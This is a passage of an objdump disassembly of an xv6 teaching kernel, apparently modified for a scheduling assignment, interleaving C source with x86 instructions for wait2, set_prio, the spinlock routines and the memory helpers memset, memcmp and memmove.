c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801059e4: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 801059eb: e9 f8 00 00 00 jmp 80105ae8 <wait2+0x11d> if(p->parent != proc) 801059f0: 8b 45 f4 mov -0xc(%ebp),%eax 801059f3: 8b 50 14 mov 0x14(%eax),%edx 801059f6: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801059fc: 39 c2 cmp %eax,%edx 801059fe: 0f 85 dc 00 00 00 jne 80105ae0 <wait2+0x115> continue; havekids = 1; 80105a04: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) if(p->state == ZOMBIE){ 80105a0b: 8b 45 f4 mov -0xc(%ebp),%eax 80105a0e: 8b 40 0c mov 0xc(%eax),%eax 80105a11: 83 f8 05 cmp $0x5,%eax 80105a14: 0f 85 c7 00 00 00 jne 80105ae1 <wait2+0x116> // Found one. *retime=p->retime; 80105a1a: 8b 45 f4 mov -0xc(%ebp),%eax 80105a1d: 8b 80 84 00 00 00 mov 0x84(%eax),%eax 80105a23: 89 c2 mov %eax,%edx 80105a25: 8b 45 08 mov 0x8(%ebp),%eax 80105a28: 89 10 mov %edx,(%eax) *rutime=p->rutime; 80105a2a: 8b 45 f4 mov -0xc(%ebp),%eax 80105a2d: 8b 80 88 00 00 00 mov 0x88(%eax),%eax 80105a33: 89 c2 mov %eax,%edx 80105a35: 8b 45 0c mov 0xc(%ebp),%eax 80105a38: 89 10 mov %edx,(%eax) *stime=p->stime; 80105a3a: 8b 45 f4 mov -0xc(%ebp),%eax 80105a3d: 8b 80 80 00 00 00 mov 0x80(%eax),%eax 80105a43: 89 c2 mov %eax,%edx 80105a45: 8b 45 10 mov 0x10(%ebp),%eax 80105a48: 89 10 mov %edx,(%eax) p->retime=0; 80105a4a: 8b 45 f4 mov -0xc(%ebp),%eax 80105a4d: c7 80 84 00 00 00 00 movl $0x0,0x84(%eax) 80105a54: 00 00 00 p->rutime=0; 80105a57: 8b 45 f4 mov -0xc(%ebp),%eax 80105a5a: c7 80 88 00 00 00 00 movl $0x0,0x88(%eax) 80105a61: 00 00 00 p->stime=0; 80105a64: 8b 45 f4 mov -0xc(%ebp),%eax 80105a67: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80105a6e: 00 00 00 pid = p->pid; 80105a71: 8b 45 f4 mov -0xc(%ebp),%eax 80105a74: 8b 40 10 mov 0x10(%eax),%eax 80105a77: 89 45 ec mov %eax,-0x14(%ebp) kfree(p->kstack); 80105a7a: 8b 45 f4 mov -0xc(%ebp),%eax 80105a7d: 8b 40 08 mov 0x8(%eax),%eax 80105a80: 89 04 24 mov %eax,(%esp) 80105a83: e8 b6 d8 ff ff call 8010333e <kfree> p->kstack = 0; 80105a88: 8b 45 f4 mov -0xc(%ebp),%eax 80105a8b: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) freevm(p->pgdir); 80105a92: 8b 45 f4 mov -0xc(%ebp),%eax 80105a95: 8b 40 04 mov 0x4(%eax),%eax 80105a98: 89 04 24 mov %eax,(%esp) 80105a9b: e8 11 35 00 00 call 80108fb1 <freevm> p->state = UNUSED; 80105aa0: 8b 45 f4 mov -0xc(%ebp),%eax 80105aa3: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) p->pid = 0; 80105aaa: 8b 45 f4 mov -0xc(%ebp),%eax 80105aad: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax) p->parent = 0; 80105ab4: 8b 45 f4 mov -0xc(%ebp),%eax 80105ab7: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) p->name[0] = 0; 80105abe: 8b 45 f4 mov -0xc(%ebp),%eax 80105ac1: c6 40 6c 00 movb $0x0,0x6c(%eax) p->killed = 0; 80105ac5: 8b 45 f4 mov -0xc(%ebp),%eax 80105ac8: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax) release(&ptable.lock); 80105acf: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105ad6: e8 32 01 00 00 call 80105c0d <release> return pid; 80105adb: 8b 45 ec mov -0x14(%ebp),%eax 80105ade: eb 56 jmp 80105b36 <wait2+0x16b> for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ if(p->parent != proc) continue; 80105ae0: 90 nop acquire(&ptable.lock); for(;;){ // Scan through table looking for zombie children. havekids = 0; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80105ae1: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 80105ae8: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 80105aef: 0f 82 fb fe ff ff jb 801059f0 <wait2+0x25> return pid; } } // No point waiting if we don't have any children. if(!havekids || proc->killed){ 80105af5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80105af9: 74 0d je 80105b08 <wait2+0x13d> 80105afb: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105b01: 8b 40 24 mov 0x24(%eax),%eax 80105b04: 85 c0 test %eax,%eax 80105b06: 74 13 je 80105b1b <wait2+0x150> release(&ptable.lock); 80105b08: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80105b0f: e8 f9 00 00 00 call 80105c0d <release> return -1; 80105b14: b8 ff ff ff ff mov $0xffffffff,%eax 80105b19: eb 1b jmp 80105b36 <wait2+0x16b> } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(proc, &ptable.lock); //DOC: wait-sleep 80105b1b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80105b21: c7 44 24 04 a0 41 11 movl $0x801141a0,0x4(%esp) 80105b28: 80 80105b29: 89 04 24 mov %eax,(%esp) 80105b2c: e8 8e fb ff ff call 801056bf <sleep> } 80105b31: e9 a7 fe ff ff jmp 801059dd <wait2+0x12> } 80105b36: c9 leave 80105b37: c3 ret 80105b38 <set_prio>: int set_prio(int priority){ 80105b38: 55 push %ebp 80105b39: 89 e5 mov %esp,%ebp #if SCHEDFLAG == DML return -1; 80105b3b: b8 ff ff ff ff mov $0xffffffff,%eax #endif if ((priority>MAX_PRIORITY) | (priority<MIN_PRIORITY)) return -1; proc->priority=priority; return 0; } 80105b40: 5d pop %ebp 80105b41: c3 ret ... 80105b44 <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 80105b44: 55 push %ebp 80105b45: 89 e5 mov %esp,%ebp 80105b47: 53 push %ebx 80105b48: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80105b4b: 9c pushf 80105b4c: 5b pop %ebx 80105b4d: 89 5d f8 mov %ebx,-0x8(%ebp) return eflags; 80105b50: 8b 45 f8 mov -0x8(%ebp),%eax } 80105b53: 83 c4 10 add $0x10,%esp 80105b56: 5b pop %ebx 80105b57: 5d pop %ebp 80105b58: c3 ret 80105b59 <cli>: asm volatile("movw %0, %%gs" : : "r" (v)); } static inline void cli(void) { 80105b59: 55 push %ebp 80105b5a: 89 e5 mov %esp,%ebp asm volatile("cli"); 80105b5c: fa cli } 80105b5d: 5d pop %ebp 80105b5e: c3 ret 80105b5f <sti>: static inline void sti(void) { 80105b5f: 55 push %ebp 80105b60: 89 e5 mov %esp,%ebp asm volatile("sti"); 80105b62: fb sti } 80105b63: 5d pop %ebp 80105b64: c3 ret 80105b65 <xchg>: static inline uint xchg(volatile uint *addr, uint newval) { 80105b65: 55 push %ebp 80105b66: 89 e5 mov %esp,%ebp 80105b68: 53 push %ebx 80105b69: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : "+m" (*addr), "=a" (result) : 80105b6c: 8b 55 08 mov 0x8(%ebp),%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80105b6f: 8b 45 0c mov 0xc(%ebp),%eax "+m" (*addr), "=a" (result) : 80105b72: 8b 4d 08 mov 0x8(%ebp),%ecx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80105b75: 89 c3 mov %eax,%ebx 80105b77: 89 d8 mov %ebx,%eax 80105b79: f0 87 02 lock xchg %eax,(%edx) 80105b7c: 89 c3 mov %eax,%ebx 80105b7e: 89 5d f8 mov %ebx,-0x8(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 80105b81: 8b 45 f8 mov -0x8(%ebp),%eax } 80105b84: 83 c4 10 add $0x10,%esp 80105b87: 5b pop %ebx 80105b88: 5d pop %ebp 80105b89: c3 ret 80105b8a <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80105b8a: 55 push %ebp 80105b8b: 89 e5 mov %esp,%ebp lk->name = name; 80105b8d: 8b 45 08 mov 0x8(%ebp),%eax 80105b90: 8b 55 0c mov 0xc(%ebp),%edx 80105b93: 89 50 04 mov %edx,0x4(%eax) lk->locked = 0; 80105b96: 8b 45 08 mov 0x8(%ebp),%eax 80105b99: c7 00 00 00 00 00 movl $0x0,(%eax) lk->cpu = 0; 80105b9f: 8b 45 08 mov 0x8(%ebp),%eax 80105ba2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80105ba9: 5d pop %ebp 80105baa: c3 ret 80105bab <acquire>: // Loops (spins) until the lock is acquired. // Holding a lock for a long time may cause // other CPUs to waste time spinning to acquire it. void acquire(struct spinlock *lk) { 80105bab: 55 push %ebp 80105bac: 89 e5 mov %esp,%ebp 80105bae: 83 ec 18 sub $0x18,%esp pushcli(); // disable interrupts to avoid deadlock. 80105bb1: e8 3d 01 00 00 call 80105cf3 <pushcli> if(holding(lk)) 80105bb6: 8b 45 08 mov 0x8(%ebp),%eax 80105bb9: 89 04 24 mov %eax,(%esp) 80105bbc: e8 08 01 00 00 call 80105cc9 <holding> 80105bc1: 85 c0 test %eax,%eax 80105bc3: 74 0c je 80105bd1 <acquire+0x26> panic("acquire"); 80105bc5: c7 04 24 c9 96 10 80 movl $0x801096c9,(%esp) 80105bcc: e8 6c a9 ff ff call 8010053d <panic> // The xchg is atomic. // It also serializes, so that reads after acquire are not // reordered before it. while(xchg(&lk->locked, 1) != 0) 80105bd1: 90 nop 80105bd2: 8b 45 08 mov 0x8(%ebp),%eax 80105bd5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80105bdc: 00 80105bdd: 89 04 24 mov %eax,(%esp) 80105be0: e8 80 ff ff ff call 80105b65 <xchg> 80105be5: 85 c0 test %eax,%eax 80105be7: 75 e9 jne 80105bd2 <acquire+0x27> ; // Record info about lock acquisition for debugging. lk->cpu = cpu; 80105be9: 8b 45 08 mov 0x8(%ebp),%eax 80105bec: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80105bf3: 89 50 08 mov %edx,0x8(%eax) getcallerpcs(&lk, lk->pcs); 80105bf6: 8b 45 08 mov 0x8(%ebp),%eax 80105bf9: 83 c0 0c add $0xc,%eax 80105bfc: 89 44 24 04 mov %eax,0x4(%esp) 80105c00: 8d 45 08 lea 0x8(%ebp),%eax 80105c03: 89 04 24 mov %eax,(%esp) 80105c06: e8 51 00 00 00 call 80105c5c <getcallerpcs> } 80105c0b: c9 leave 80105c0c: c3 ret 80105c0d <release>: // Release the lock. void release(struct spinlock *lk) { 80105c0d: 55 push %ebp 80105c0e: 89 e5 mov %esp,%ebp 80105c10: 83 ec 18 sub $0x18,%esp if(!holding(lk)) 80105c13: 8b 45 08 mov 0x8(%ebp),%eax 80105c16: 89 04 24 mov %eax,(%esp) 80105c19: e8 ab 00 00 00 call 80105cc9 <holding> 80105c1e: 85 c0 test %eax,%eax 80105c20: 75 0c jne 80105c2e <release+0x21> panic("release"); 80105c22: c7 04 24 d1 96 10 80 movl $0x801096d1,(%esp) 80105c29: e8 0f a9 ff ff call 8010053d <panic> lk->pcs[0] = 0; 80105c2e: 8b 45 08 mov 0x8(%ebp),%eax 80105c31: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) lk->cpu = 0; 80105c38: 8b 45 08 mov 0x8(%ebp),%eax 80105c3b: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) // But the 2007 Intel 64 Architecture Memory Ordering White // Paper says that Intel 64 and IA-32 will not move a load // after a store. So lock->locked = 0 would work here. // The xchg being asm volatile ensures gcc emits it after // the above assignments (and after the critical section). xchg(&lk->locked, 0); 80105c42: 8b 45 08 mov 0x8(%ebp),%eax 80105c45: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105c4c: 00 80105c4d: 89 04 24 mov %eax,(%esp) 80105c50: e8 10 ff ff ff call 80105b65 <xchg> popcli(); 80105c55: e8 e1 00 00 00 call 80105d3b <popcli> } 80105c5a: c9 leave 80105c5b: c3 ret 80105c5c <getcallerpcs>: // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80105c5c: 55 push %ebp 80105c5d: 89 e5 mov %esp,%ebp 80105c5f: 83 ec 10 sub $0x10,%esp uint *ebp; int i; ebp = (uint*)v - 2; 80105c62: 8b 45 08 mov 0x8(%ebp),%eax 80105c65: 83 e8 08 sub $0x8,%eax 80105c68: 89 45 fc mov %eax,-0x4(%ebp) for(i = 0; i < 10; i++){ 80105c6b: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp) 80105c72: eb 32 jmp 80105ca6 <getcallerpcs+0x4a> if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80105c74: 83 7d fc 00 cmpl $0x0,-0x4(%ebp) 80105c78: 74 47 je 80105cc1 <getcallerpcs+0x65> 80105c7a: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp) 80105c81: 76 3e jbe 80105cc1 <getcallerpcs+0x65> 80105c83: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp) 80105c87: 74 38 je 80105cc1 <getcallerpcs+0x65> break; pcs[i] = ebp[1]; // saved %eip 80105c89: 8b 45 f8 mov -0x8(%ebp),%eax 80105c8c: c1 e0 02 shl $0x2,%eax 80105c8f: 03 45 0c add 0xc(%ebp),%eax 80105c92: 8b 55 fc mov -0x4(%ebp),%edx 80105c95: 8b 52 04 mov 0x4(%edx),%edx 80105c98: 89 10 mov %edx,(%eax) ebp = (uint*)ebp[0]; // saved %ebp 80105c9a: 8b 45 fc mov -0x4(%ebp),%eax 80105c9d: 8b 00 mov (%eax),%eax 80105c9f: 89 45 fc mov %eax,-0x4(%ebp) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80105ca2: 83 45 f8 01 addl $0x1,-0x8(%ebp) 80105ca6: 83 7d f8 09 cmpl $0x9,-0x8(%ebp) 80105caa: 7e c8 jle 80105c74 <getcallerpcs+0x18> if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 80105cac: eb 13 jmp 80105cc1 <getcallerpcs+0x65> pcs[i] = 0; 80105cae: 8b 45 f8 mov -0x8(%ebp),%eax 80105cb1: c1 e0 02 shl $0x2,%eax 80105cb4: 03 45 0c add 0xc(%ebp),%eax 80105cb7: c7 00 00 00 00 00 movl $0x0,(%eax) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 80105cbd: 83 45 f8 01 addl $0x1,-0x8(%ebp) 80105cc1: 83 7d f8 09 cmpl $0x9,-0x8(%ebp) 80105cc5: 7e e7 jle 80105cae <getcallerpcs+0x52> pcs[i] = 0; } 80105cc7: c9 leave 80105cc8: c3 ret 80105cc9 <holding>: // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 80105cc9: 55 push %ebp 80105cca: 89 e5 mov %esp,%ebp return lock->locked && lock->cpu == cpu; 80105ccc: 8b 45 08 mov 0x8(%ebp),%eax 80105ccf: 8b 00 mov (%eax),%eax 80105cd1: 85 c0 test %eax,%eax 80105cd3: 74 17 je 80105cec <holding+0x23> 80105cd5: 8b 45 08 mov 0x8(%ebp),%eax 80105cd8: 8b 50 08 mov 0x8(%eax),%edx 80105cdb: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105ce1: 39 c2 cmp %eax,%edx 80105ce3: 75 07 jne 80105cec <holding+0x23> 80105ce5: b8 01 00 00 00 mov $0x1,%eax 80105cea: eb 05 jmp 80105cf1 <holding+0x28> 80105cec: b8 00 00 00 00 mov $0x0,%eax } 80105cf1: 5d pop %ebp 80105cf2: c3 ret 80105cf3 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80105cf3: 55 push %ebp 80105cf4: 89 e5 mov %esp,%ebp 80105cf6: 83 ec 10 sub $0x10,%esp int eflags; eflags = readeflags(); 80105cf9: e8 46 fe ff ff call 80105b44 <readeflags> 80105cfe: 89 45 fc mov %eax,-0x4(%ebp) cli(); 80105d01: e8 53 fe ff ff call 80105b59 <cli> if(cpu->ncli++ == 0) 80105d06: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105d0c: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx 80105d12: 85 d2 test %edx,%edx 80105d14: 0f 94 c1 sete %cl 80105d17: 83 c2 01 add $0x1,%edx 80105d1a: 89 90 ac 00 00 00 mov %edx,0xac(%eax) 80105d20: 84 c9 test %cl,%cl 80105d22: 74 15 je 80105d39 <pushcli+0x46> cpu->intena = eflags & FL_IF; 80105d24: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105d2a: 8b 55 fc mov -0x4(%ebp),%edx 80105d2d: 81 e2 00 02 00 00 and $0x200,%edx 80105d33: 89 90 b0 00 00 00 mov %edx,0xb0(%eax) } 80105d39: c9 leave 80105d3a: c3 ret 80105d3b <popcli>: void popcli(void) { 80105d3b: 55 push %ebp 80105d3c: 89 e5 mov %esp,%ebp 80105d3e: 83 ec 18 sub $0x18,%esp if(readeflags()&FL_IF) 80105d41: e8 fe fd ff ff call 80105b44 <readeflags> 80105d46: 25 00 02 00 00 and $0x200,%eax 80105d4b: 85 c0 test %eax,%eax 80105d4d: 74 0c je 80105d5b <popcli+0x20> panic("popcli - interruptible"); 80105d4f: c7 04 24 d9 96 10 80 movl $0x801096d9,(%esp) 80105d56: e8 e2 a7 ff ff call 8010053d <panic> if(--cpu->ncli < 0) 80105d5b: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105d61: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx 80105d67: 83 ea 01 sub $0x1,%edx 80105d6a: 89 90 ac 00 00 00 mov %edx,0xac(%eax) 80105d70: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 80105d76: 85 c0 test %eax,%eax 80105d78: 79 0c jns 80105d86 <popcli+0x4b> panic("popcli"); 80105d7a: c7 04 24 f0 96 10 80 movl $0x801096f0,(%esp) 80105d81: e8 b7 a7 ff ff call 8010053d <panic> if(cpu->ncli == 0 && cpu->intena) 80105d86: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105d8c: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 80105d92: 85 c0 test %eax,%eax 80105d94: 75 15 jne 80105dab <popcli+0x70> 80105d96: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105d9c: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax 80105da2: 85 c0 test %eax,%eax 80105da4: 74 05 je 80105dab <popcli+0x70> sti(); 80105da6: e8 b4 fd ff ff call 80105b5f <sti> } 80105dab: c9 leave 80105dac: c3 ret 80105dad: 00 00 add %al,(%eax) ... 80105db0 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 80105db0: 55 push %ebp 80105db1: 89 e5 mov %esp,%ebp 80105db3: 57 push %edi 80105db4: 53 push %ebx asm volatile("cld; rep stosb" : 80105db5: 8b 4d 08 mov 0x8(%ebp),%ecx 80105db8: 8b 55 10 mov 0x10(%ebp),%edx 80105dbb: 8b 45 0c mov 0xc(%ebp),%eax 80105dbe: 89 cb mov %ecx,%ebx 80105dc0: 89 df mov %ebx,%edi 80105dc2: 89 d1 mov %edx,%ecx 80105dc4: fc cld 80105dc5: f3 aa rep stos %al,%es:(%edi) 80105dc7: 89 ca mov %ecx,%edx 80105dc9: 89 fb mov %edi,%ebx 80105dcb: 89 5d 08 mov %ebx,0x8(%ebp) 80105dce: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 80105dd1: 5b pop %ebx 80105dd2: 5f pop %edi 80105dd3: 5d pop %ebp 80105dd4: c3 ret 80105dd5 <stosl>: static inline void stosl(void *addr, int data, int cnt) { 80105dd5: 55 push %ebp 80105dd6: 89 e5 mov %esp,%ebp 80105dd8: 57 push %edi 80105dd9: 53 push %ebx asm volatile("cld; rep stosl" : 80105dda: 8b 4d 08 mov 0x8(%ebp),%ecx 80105ddd: 8b 55 10 mov 0x10(%ebp),%edx 80105de0: 8b 45 0c mov 0xc(%ebp),%eax 80105de3: 89 cb mov %ecx,%ebx 80105de5: 89 df mov %ebx,%edi 80105de7: 89 d1 mov %edx,%ecx 80105de9: fc cld 80105dea: f3 ab rep stos %eax,%es:(%edi) 80105dec: 89 ca mov %ecx,%edx 80105dee: 89 fb mov %edi,%ebx 80105df0: 89 5d 08 mov %ebx,0x8(%ebp) 80105df3: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 80105df6: 5b pop %ebx 80105df7: 5f pop %edi 80105df8: 5d pop %ebp 80105df9: c3 ret 80105dfa <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80105dfa: 55 push %ebp 80105dfb: 89 e5 mov %esp,%ebp 80105dfd: 83 ec 0c sub $0xc,%esp if ((int)dst%4 == 0 && n%4 == 0){ 80105e00: 8b 45 08 mov 0x8(%ebp),%eax 80105e03: 83 e0 03 and $0x3,%eax 80105e06: 85 c0 test %eax,%eax 80105e08: 75 49 jne 80105e53 <memset+0x59> 80105e0a: 8b 45 10 mov 0x10(%ebp),%eax 80105e0d: 83 e0 03 and $0x3,%eax 80105e10: 85 c0 test %eax,%eax 80105e12: 75 3f jne 80105e53 <memset+0x59> c &= 0xFF; 80105e14: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp) stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 80105e1b: 8b 45 10 mov 0x10(%ebp),%eax 80105e1e: c1 e8 02 shr $0x2,%eax 80105e21: 89 c2 mov %eax,%edx 80105e23: 8b 45 0c mov 0xc(%ebp),%eax 80105e26: 89 c1 mov %eax,%ecx 80105e28: c1 e1 18 shl $0x18,%ecx 80105e2b: 8b 45 0c mov 0xc(%ebp),%eax 80105e2e: c1 e0 10 shl $0x10,%eax 80105e31: 09 c1 or %eax,%ecx 80105e33: 8b 45 0c mov 0xc(%ebp),%eax 80105e36: c1 e0 08 shl $0x8,%eax 80105e39: 09 c8 or %ecx,%eax 80105e3b: 0b 45 0c or 0xc(%ebp),%eax 80105e3e: 89 54 24 08 mov %edx,0x8(%esp) 80105e42: 89 44 24 04 mov %eax,0x4(%esp) 80105e46: 8b 45 08 mov 0x8(%ebp),%eax 80105e49: 89 04 24 mov %eax,(%esp) 80105e4c: e8 84 ff ff ff call 80105dd5 <stosl> 80105e51: eb 19 jmp 80105e6c <memset+0x72> } else stosb(dst, c, n); 80105e53: 8b 45 10 mov 0x10(%ebp),%eax 80105e56: 89 44 24 08 mov %eax,0x8(%esp) 80105e5a: 8b 45 0c mov 0xc(%ebp),%eax 80105e5d: 89 44 24 04 mov %eax,0x4(%esp) 80105e61: 8b 45 08 mov 0x8(%ebp),%eax 80105e64: 89 04 24 mov %eax,(%esp) 80105e67: e8 44 ff ff ff call 80105db0 <stosb> return dst; 80105e6c: 8b 45 08 mov 0x8(%ebp),%eax } 80105e6f: c9 leave 80105e70: c3 ret 80105e71 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80105e71: 55 push %ebp 80105e72: 89 e5 mov %esp,%ebp 80105e74: 83 ec 10 sub $0x10,%esp const uchar *s1, *s2; s1 = v1; 80105e77: 8b 45 08 mov 0x8(%ebp),%eax 80105e7a: 89 45 fc mov %eax,-0x4(%ebp) s2 = v2; 80105e7d: 8b 45 0c mov 0xc(%ebp),%eax 80105e80: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0){ 80105e83: eb 32 jmp 80105eb7 <memcmp+0x46> if(*s1 != *s2) 80105e85: 8b 45 fc mov -0x4(%ebp),%eax 80105e88: 0f b6 10 movzbl (%eax),%edx 80105e8b: 8b 45 f8 mov -0x8(%ebp),%eax 80105e8e: 0f b6 00 movzbl (%eax),%eax 80105e91: 38 c2 cmp %al,%dl 80105e93: 74 1a je 80105eaf <memcmp+0x3e> return *s1 - *s2; 80105e95: 8b 45 fc mov -0x4(%ebp),%eax 80105e98: 0f b6 00 movzbl (%eax),%eax 80105e9b: 0f b6 d0 movzbl %al,%edx 80105e9e: 8b 45 f8 mov -0x8(%ebp),%eax 80105ea1: 0f b6 00 movzbl (%eax),%eax 80105ea4: 0f b6 c0 movzbl %al,%eax 80105ea7: 89 d1 mov %edx,%ecx 80105ea9: 29 c1 sub %eax,%ecx 80105eab: 89 c8 mov %ecx,%eax 80105ead: eb 1c jmp 80105ecb <memcmp+0x5a> s1++, s2++; 80105eaf: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80105eb3: 83 45 f8 01 addl $0x1,-0x8(%ebp) { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80105eb7: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105ebb: 0f 95 c0 setne %al 80105ebe: 83 6d 10 01 subl $0x1,0x10(%ebp) 80105ec2: 84 c0 test %al,%al 80105ec4: 75 bf jne 80105e85 <memcmp+0x14> if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; 80105ec6: b8 00 00 00 00 mov $0x0,%eax } 80105ecb: c9 leave 80105ecc: c3 ret 80105ecd <memmove>: void* memmove(void *dst, const void *src, uint n) { 80105ecd: 55 push %ebp 80105ece: 89 e5 mov %esp,%ebp 80105ed0: 83 ec 10 sub $0x10,%esp const char *s; char *d; s = src; 80105ed3: 8b 45 0c mov 0xc(%ebp),%eax 80105ed6: 89 45 fc mov %eax,-0x4(%ebp) d = dst; 80105ed9: 8b 45 08 mov 0x8(%ebp),%eax 80105edc: 89 45 f8 mov %eax,-0x8(%ebp) if(s < d && s + n > d){ 80105edf: 8b 45 fc mov -0x4(%ebp),%eax 80105ee2: 3b 45 f8 cmp -0x8(%ebp),%eax 80105ee5: 73 54 jae 80105f3b <memmove+0x6e> 80105ee7: 8b 45 10 mov 0x10(%ebp),%eax 80105eea: 8b 55 fc mov -0x4(%ebp),%edx 80105eed: 01 d0 add %edx,%eax 80105eef: 3b 45 f8 cmp -0x8(%ebp),%eax 80105ef2: 76 47 jbe 80105f3b <memmove+0x6e> s += n; 80105ef4: 8b 45 10 mov 0x10(%ebp),%eax 80105ef7: 01 45 fc add %eax,-0x4(%ebp) d += n; 80105efa: 8b 45 10 mov 0x10(%ebp),%eax 80105efd: 01 45 f8 add %eax,-0x8(%ebp) while(n-- > 0) 80105f00: eb 13 jmp 80105f15 <memmove+0x48> *--d = *--s; 80105f02: 83 6d f8 01 subl $0x1,-0x8(%ebp) 80105f06: 83 6d fc 01 subl $0x1,-0x4(%ebp) 80105f0a: 8b 45 fc mov -0x4(%ebp),%eax 80105f0d: 0f b6 10 movzbl (%eax),%edx 80105f10: 8b 45 f8 mov -0x8(%ebp),%eax 80105f13: 88 10 mov %dl,(%eax) s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) 80105f15: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105f19: 0f 95 c0 setne %al 80105f1c: 83 6d 10 01 subl $0x1,0x10(%ebp) 80105f20: 84 c0 test %al,%al 80105f22: 75 de jne 80105f02 <memmove+0x35> const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 80105f24: eb 25 jmp 80105f4b <memmove+0x7e> d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) *d++ = *s++; 80105f26: 8b 45 fc mov -0x4(%ebp),%eax 80105f29: 0f b6 10 movzbl (%eax),%edx 80105f2c: 8b 45 f8 mov -0x8(%ebp),%eax 80105f2f: 88 10 mov %dl,(%eax) 80105f31: 83 45 f8 01 addl $0x1,-0x8(%ebp) 80105f35: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80105f39: eb 01 jmp 80105f3c <memmove+0x6f> s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 80105f3b: 90 nop 80105f3c: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105f40: 0f 95 c0 setne %al 80105f43: 83 6d 10 01 subl $0x1,0x10(%ebp) 80105f47: 84 c0 test %al,%al 80105f49: 75 db jne 80105f26 <memmove+0x59> *d++ = *s++; return dst; 80105f4b: 8b 45 08 mov 0x8(%ebp),%eax } 80105f4e: c9 leave 80105f4f: c3 ret 80105f50 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80105f50: 55 push %ebp 80105f51: 89 e5 mov %esp,%ebp 80105f53: 83 ec 0c sub 